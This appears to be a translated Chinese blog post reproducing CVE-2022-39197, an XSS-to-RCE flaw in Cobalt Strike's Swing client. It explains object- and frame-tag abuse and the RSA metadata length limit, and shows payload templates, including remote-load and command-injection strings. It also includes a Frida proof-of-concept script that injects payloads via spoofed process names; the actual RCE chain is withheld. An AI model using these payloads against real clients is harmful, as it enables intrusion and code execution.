https://mp.weixin.qq.com/s/l5e2p\_WtYSCYYhYE0lzRdQ
漂亮鼠,公众号:赛博回忆录最新CS RCE曲折的复现路
0x00 Preface
Just a few days ago, BeichenDream submitted an RCE vulnerability to the CS official. Through this vulnerability, the data containing xss can be sent to the teamserver after capturing the attacker's beacon. After reflection, RCE is finally executed on the attacker's client. , the vulnerability number is CVE-2022-39197. It can be seen that this is an unpredictable anti-hacker magic hole, Anfuzi's nightmare. Since it was a loophole in beating jb boy, it must be reproduced, so I made up my mind to burn the essence of life, and finally stumbled and completely reproduced the loophole with the strong support of friends, especially Master Panda. Looking back at the past few days, I really learned a carload of things. You are also welcome to join the Cyber Memoir Knowledge Planet . I will continue to update my src automatic scanning transformation in the future. I hope you like it.
I believe that everyone has seen inserting img tags to get a bounced get request in the past few days. For example, writing in UI components <html><img src=x>
will get this effect.
This is a demo java swing code. When I directly enter the payload in jlabel, I will get an image that fails to render. Anyone who has learned the basics of xss knows that this is how the rendering of the img tag of html fails. This also means that if the remote address is filled in, a get request will be sent to the remote server. This is also the most common basic use these days. So why is this? Yes, this is the feature that comes with swing (a java GUI library), and it is the starting point of everything.
We directly google swing html, the first one is the official teaching you how to use html tags in swing.https://docs.oracle.com/javase/tutorial/uiswing/components/html.html
See, the document directly tells us a fact: inserting a <html>
tag at the beginning of the content and subsequent content will be formatted as an html document for parsing, which means that html tags are supported. A key point here is at the beginning of the text , which means that it must be inserted at the beginning <html>
. This point is very important to remember. Most of the Rooters see this, and they may obviously think that since they support html tags, it is possible to use a set of XSS to RCE. It seems that Beichen is not that great, so I plug in one directly.
<script>alert(1)</script><script>window.open('file://xxxx/calc.exe')</script>
You can play how you want, and you can even introduce external js files for more XSS2RCE. This vulnerability is nothing special, but he Beichen discovered this feature. Obviously, things are not that simple, and even more complex than you think.
Anyone who has done a blind test will find that the script tag is not effective, not only the script tag, but also many standard tags are more or less limited by some functions in the swing scene. So where is the breakthrough point to achieve RCE? At this time, we need to find the answer from the swing code. Open the rt.jar package of jdk, we can locate the package content of swing
The next step is to find the answer in swing.
You can see that there is a set of html parser, let's open that HTML class and take a look
A lot of common html tags and attributes will be defined. If there are tag definitions, there must be tag parsing and the like. There are too many things and I don’t understand them very well. I will pick a few points and talk about them. First of all, he defines the tags and corresponding actions.
For example, the familiar link tag
will be associated with the linkaction
It will specifically judge whether rel is a stylesheet. If yes, you can use href to import external css, but if you check the attributes supported by link, you will find that there are a lot of types supported in the standard, and there will be a lot of tricky operations, but in Here he only has these two types that actually respond when measured.
From the comments and code, we can also see that the script tag is not supported. In fact, what is written here is not quite right, but at least it can be shown that these tags are not supported or the function is incomplete, which is actually the case. Then watch another episode
In the create method in HTMLEditorKit, you can see that different tags will correspond to the creation of different views
Here comes the key point, first look at the object tag, what is this? Let's follow up
By reading the comments, we can understand that this objectview basically instantiates a class that meets the requirements and passes parameters through param! This has a natural deserialization smell, so this is a very likely breakthrough point for RCE. What we can do around this object tag suddenly breaks through from popup images to instantiating arbitrary classes. Let's take a look at the subsequent code
Obviously, the reflection calls and instantiates the class. It should be noted here that he also adds a restriction judgment, that is, the instance must inherit from Component, otherwise an exception will be thrown. This also greatly limits the scope of what we can do. Let's continue to follow setParameters to see how parameters are passed
To sum it up:
classid is passed in the class that needs to be instantiated, the class must inherit from Component
There must be a no-argument constructor, which seems to be because newinstant is the no-argument constructor called
There must be a XXX property of the setXXX method
The parameter passed to the setXXX method must accept a parameter of type string
Therefore, find the classes and properties that meet the above conditions, and then see what can be done after instantiation. For example, we can simply test a
You can see that jlabel has a parameterless construction method, and has the properties of setText that meet the conditions
Then we can construct
<html><object classid='javax.swing.JLabel'><parame name='Text' value='hahaha'>
In fact, it becomes a search for qualified classes and methods from the lib package to see if RCE can be finally achieved. Before looking for eligible classes, let's take a look at this tag. Suppose we have found a chain that can RCE, what does it look like?
Load a remote payload, such as jndi or something
<html><object classid='xxx.xxx.xxx.xxx'><parame name='XXX' value='http://xxx.xxx.xxx.xxx/payload'>
Or open a local exe directly
<html><object classid='xxx.xxx.xxx.xxx'><parame name='XXX' value='file:///System/Applications/Calculator.app'>
or command injection
<html><object classid='xxx.xxx.xxx.xxx'><parame name='XXX' value='";open http://www.baidu.com'>
Are these the most likely ones? As for which chain to use, I will not disclose it here. Interested students will follow this idea to find possible chains in hundreds of classes. Next, regarding the length of the payload, no matter how you look at it, it has to be more than 60 or 70, which will lead to some subsequent restrictions.
Everyone knows how to use the simulated beacon protocol to insert img tags. I will briefly repeat here that https://github.com/LiAoRJ/CS_fakesubmit
this is a script to simulate the online package of beacon. It was used to play dos before, and now it can be used to insert payload. Specifically I will not repeat the usage in github. When the length of the inserted data is long, we will find a problem:
After adding the long payload here, the overall package length is 132 bytes, and his error message means that the entire space is only 117 bytes, which means that the payload has a maximum length limit. Let's analyze why there is a length limit in more detail. First, let's have a general understanding of the interaction process between beacon and team server. In fact, I am also a temporary Baidu article myself. Basically, I can find a similar protocol analysis article by searching.
I won't go into too much detail, you can read the article for yourself first https://www.ijiandao.com/2b/baijia/423712.html
In short, it is divided into two parts. The first part is the online package. The online package is the metadata encrypted by RSA inserted in the cookie. This metadata is the metadata, which generally contains some basic information such as user name, host name, operating system information and AES. KEY etc. The teamserver parses the data in the metadata and displays it on the home page. After obtaining the aes key from it, it is used to encrypt and decrypt the data related to subsequent tasks. And let's look at what's on the home page of CS's client
Yes, these are the familiar fields, most of the information in these fields comes from metadata. The data in the metadata is the data that we can control and insert into the teamserver for display. Back to the 117-byte limit, let's take a look at the code for CS
We came to the code of the teamserver of cs and searched for 117 directly:
Follow up with asymmetricCrypto.java to see
Let's look at the code of the fake client
Does it match up? There is a length field here. You can see that the server obtains the length field of our transmission for judgment. Then some students will ask, if I write a large payload, but pass the length to him, is it 1? It has passed the verification. The answer is no. The fundamental reason for this check is that the encryption algorithm of RSA itself limits the length of plaintext encryption.
The length of the RSA key used by cs to encrypt metadata is 128 bits, so subtracting 11 is exactly 117 bits. This rigid total length limit of the package body cannot be bypassed. So how far can the payload be compressed at most? Go back to the fake client and let's take a look
It can be seen that the big lumps in front cannot be changed. If it is not a number or the identification bit is written to death, it will be read and parsed by the teamserver one by one. Our payload is a string, you can simply think that the digital bits are not available. use. Only the computername, username, and processname can be written to the payload in the end, which correspond to these three on the interface.
Another point of knowledge here is that if we want to insert a valid payload, we can only insert all of them into one cell, instead of inserting a part of three cells for merging. So let's take a look at what these three fields look like in teamserver
It can be seen that the content \t
of obtained by cutting the string, that is to say, if we do not use it, \t
we can write all the content into one cell and save two bytes of tab symbols.
\x09
That is , \t
so we can get the maximum operable length by writing all of these directly to the payload. This length is 117-51=66, and then the magic number and 8 bytes of the length are subtracted, so it is the length limit of 66-8=58. Of course, this is the length limit of metadata, but if we enter the payload from the subsequent aes communication, it will not be subject to this limit, which will be discussed later.
Considering that metadata has payload restrictions, and as mentioned earlier, if you use the object tag, you will find that the length of 58 characters is not enough at all, and it cannot be compressed. If the chain you find is very complicated, it is even more impossible. . So what about going from a restricted payload to an unrestricted payload?
Generally speaking, in the browser scenario, it is easy to think of introducing an iframe tag to introduce an external page. Introducing an external page means introducing an external html tag, so the imported external html content will not be limited in length. But when we use the iframe tag to blindly test, we will find that there is no response. We're looking through the code, and I remember seeing the frame tag vaguely earlier
Implemented a tag called frame, we are too lazy to look at the code, just look at Baidu
Following this format, the frame tag has the familiar src attribute to import external pages. But if we don't set the frameset tag in the outer layer, it will report an error <html><frame src=x>
The solution is to set a frameset
<html><frameset rows=*><frame src=x>
Of course there is a little trick to further compress
<html>1<frame src=x>
This also works. This can successfully introduce external pages when the jdk version is high, but an error will be reported on jdk1.8 commonly known as j8 in java8
This is because the frame will force the type of its parent component to be converted to this type when rendering the frameview, but an error will be reported if the conversion fails. This problem is unsolvable in jdk1.8, which is why I thought it was impossible to bypass the length limit of the home page at the beginning (because I used jdk1.8). Well, in short, you can bypass the length limit of the home page by referring to the frame tag. So how to continue to attack the target in the case of jdk1.8?
As explained earlier, the home page is limited by the length of the metadata, and almost only the frame tag can bypass the restriction, and it is impossible to use the frame tag to bypass the jdk1.8 version. So how do we attack? At this time, we have to settle for the next best thing, assuming that the attacker can interact with the beacon and see if RCE can be achieved. The answer is yes. As mentioned earlier, the interaction between beacon and teamserver is roughly divided into two parts: one is the RSA of the online package and the other is the AES issued by the subsequent commands, so we only need to inject data into the AES process issued by the command, then we can Ignore the length limit of metadata and perform RCE. This is very abstract, but it can be practical.
That is to say, except for the list on the home page and the eventlog, the echoes and interactions of all commands are transmitted in AES, so as long as the interface data we can see can be controlled, XSS attacks can be carried out! Here I use the frada script to hook the win api to modify the process name returned by tasklist, and rewrite the process name into the attack payload. When the attacker clicks the beacon to execute the listed process, as long as he browses to the process name with the payload, RCE will be executed. ! The modifications I made on the basis of this project https://github.com/TomAPU/poc_and_exp/blob/master/CVE-2022-39197/cobaltfire.py
my frada script content is
import fridaimport timeimport argparsedef spoof_user_name(target,url): #spawn target process print('[+] Spawning target process...') pid=frida.spawn(target) session=frida.attach(pid) js=''' var payload="<html>beacon.exe <object classid='xxx.xxx.xxx.xxx'><param name='xxx'value='xxx'>" payload=Array.from(payload).map(letter => letter.charCodeAt(0)) var Process32Next=Module.findExportByName("kernel32.dll", 'Process32Next') Interceptor.attach(Process32Next, { onEnter: function(args) { //var hProcessSnap=args[0] var info=args[1]; this.info = info; //console.log(this.info); this.szExeFile=this.info.add(0x24); // console.log(this.szExeFile); }, onLeave: function(retval) { if(Memory.readAnsiString(this.szExeFile) == 'beacon.exe')//当进程名称为beacon时修改其名称,可以替换成其他 { Memory.writeByteArray(ptr(this.szExeFile), payload) console.log("find beacon.exe write payload") } //console.log(Memory.readAnsiString(this.szExeFile)); } }); '''#.replace('http://127.0.0.1/',url) script = session.create_script(js) script.load() #resume frida.resume(pid) print('[+] Let\'s wait for 10 seconds to ensure the payload sent!') #wait for 10 seconds time.sleep(1000) #kill frida.kill(pid) print('[+] Done! Killed trojan process.') exit(0)def showbanner(): #Thanks http://patorjk.com/ for creating this awesome banner banner=''' $$$$$$\ $$\ $$\ $$\ $$$$$$$$\ $$\ $$ __$$\ $$ | $$ | $$ | $$ _____|\__| $$ / \__| $$$$$$\ $$$$$$$\ $$$$$$\ $$ |$$$$$$\ $$ | $$\ $$$$$$\ $$$$$$\ $$ | $$ __$$\ $$ __$$\ \____$$\ $$ |\_$$ _| $$$$$\ $$ |$$ __$$\ $$ __$$\ $$ | $$ / $$ |$$ | $$ | $$$$$$$ |$$ | $$ | $$ __| $$ |$$ | \__|$$$$$$$$ |$$ | $$\ $$ | $$ |$$ | $$ |$$ __$$ |$$ | $$ |$$\ $$ | $$ |$$ | $$ ____|\$$$$$$ |\$$$$$$ |$$$$$$$ |\$$$$$$$ |$$ | \$$$$ |$$ | $$ |$$ | \$$$$$$$\ \______/ \______/ \_______/ \_______|\__| \____/ \__| \__|\__| \_______| CVE-2022-39197 PoC by @TomAPU ''' print(banner)parser = argparse.ArgumentParser(description='''This is a PoC for CVE-2022-39197, allowing to disclose CobaltStrike users' IP addresses by an exploit of XSS.(Well, clearly I haven't figure out how to trigger an RCE).WARNING: This tool works by executing the trojan generated by CobaltStrike and hooking GetUserNameA to add XSS payload to beat the server. So, please, execute it in a virtual machine!Currently, this POC only supports X86 exe payloads, and of course, works on Windows.''')parser.add_argument('-t', '--target', help='target trojan sample', required=False)parser.add_argument('-u', '--url', help='URL for server to load as img, considering the limit of length, it should be less than 20 bytes', required=False)if __name__=='__main__': showbanner() args = parser.parse_args() if args.target and args.url: if len(args.url)>20: print('[-] URL should be shorter than 20 bytes :(') exit(-1) spoof_user_name(args.target,args.url) else: parser.print_help()
The writing of the frada script will not go into details, it is tired. In addition to this method, you can also https://github.com/darkr4y/geacon
directly modify and enter the payload based on the open source that has implemented a full set of protocols.
If it is fixed, you can use a temporary pudding posted by Orange Jam on the planet of Cyber Memoirs to turn off the HTML rendering of swing, which can temporarily solve this problem, but I now believe that the next wave of cs RCE may be soon. coming.
I really learned a lot in just a few days. I basically don’t understand java at all. Most of the time, I don’t know much about it. I would like to strongly thank the group friends, especially the master panda, for their support, who gave me So much help that my reproduction won't be too off the chain, if I alone estimate it will take at least two weeks to start. The whole process involves jdk and cs, and the complexity of the analysis is quite high. I have to say that Beichen is really awesome.